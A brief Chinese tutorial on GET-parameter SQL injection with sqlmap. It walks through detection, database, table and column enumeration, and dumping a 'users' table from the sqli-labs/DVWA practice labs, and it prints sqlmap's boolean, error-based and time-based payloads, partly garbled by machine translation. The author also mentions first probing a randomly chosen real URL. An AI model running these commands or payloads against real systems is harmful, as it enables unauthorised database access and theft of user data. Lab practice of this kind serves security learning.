Sql之GET注入
sqlmap.py -u "url"
==检测。
sqlmap.py -u "url" --tables
==表。
sqlmap.py -u "url" --columns -T
“表名” ==字段
sqlmap.py -u "url" --dump -T
“表名” -C “字段,字段” ==暴表里面的字段的内容
这里我们可以用python ./sqlmap.py -u "url"
来判断是否存在注入点。
最后经过测试得到:所有测试参数似乎都不可注入。
因为这个Url是随便找的,可能并不存在注入项。
这时我们到sqli-labs里找一个来试试
可以看到它很快就判断后端是‘MySQL’,并向你询问是否跳过其他种类的测试
最后sqlmap将注入点标出:
sqlmap用总共50个HTTP请求标识了以下注入点:
参数:id(GET)
类型:基于布尔值的盲
Title:和基于布尔值的blind-WHERE或HAVING子句
有效载荷:id=1’和5164=5164和’eluN’=eluN
类型:基于错误
Title:MySQL>=5.1和基于错误的-WHERE、HAVING、ORDER BY或GROUP BY子句(EXTRACTVALUE)
有效载荷:id=1’和EXTRACTVALUE(8029,CONCAT(0x5c,0x7176787671,(SELECT(ELT(8029=8029,1))),0x7178717871)和’aGjj’='aGjj
类型:基于时间的盲
标题:MySQL>=5.0.12和基于时间的盲(查询睡眠)
有效载荷:id=1’和(从(SELECT(SLEEP(5)))Wfxi中选择6778)和’stUs’=stUs
在判断存在注入点后
获取数据库sqlmap.py -u "url" -dbs
它会默认的选择注入点其中调试比较快点进行注入
可以看到数据库已经出来了。
这会儿可以去获取表名了
这里我们选定是dvwa,sqlmap.py -u "url" --tables -D "dvwa"
其中的 -D "dvwa"
是选定目录。
表名已经出来了。
然后暴字段
sqlmap.py -u "http://sqli-labs/Less-1/?id=1" --columns -T "users" -D "dvwa"
其中-T "users"
位置可以在这也可以在后面。
字段已经出来了。
然后再继续跟进,字段内容
sqlmap.py -u "http://sqli-labs/Less-1/?id=1" --dump -T "users" -D "dvwa"
其中--dump
后面是可以不用加字段的,它会默认选定users目录下所有字段,当然也可以指定-C "字段"
。
字段内容也已经出来了
结语
GET注入就到这里。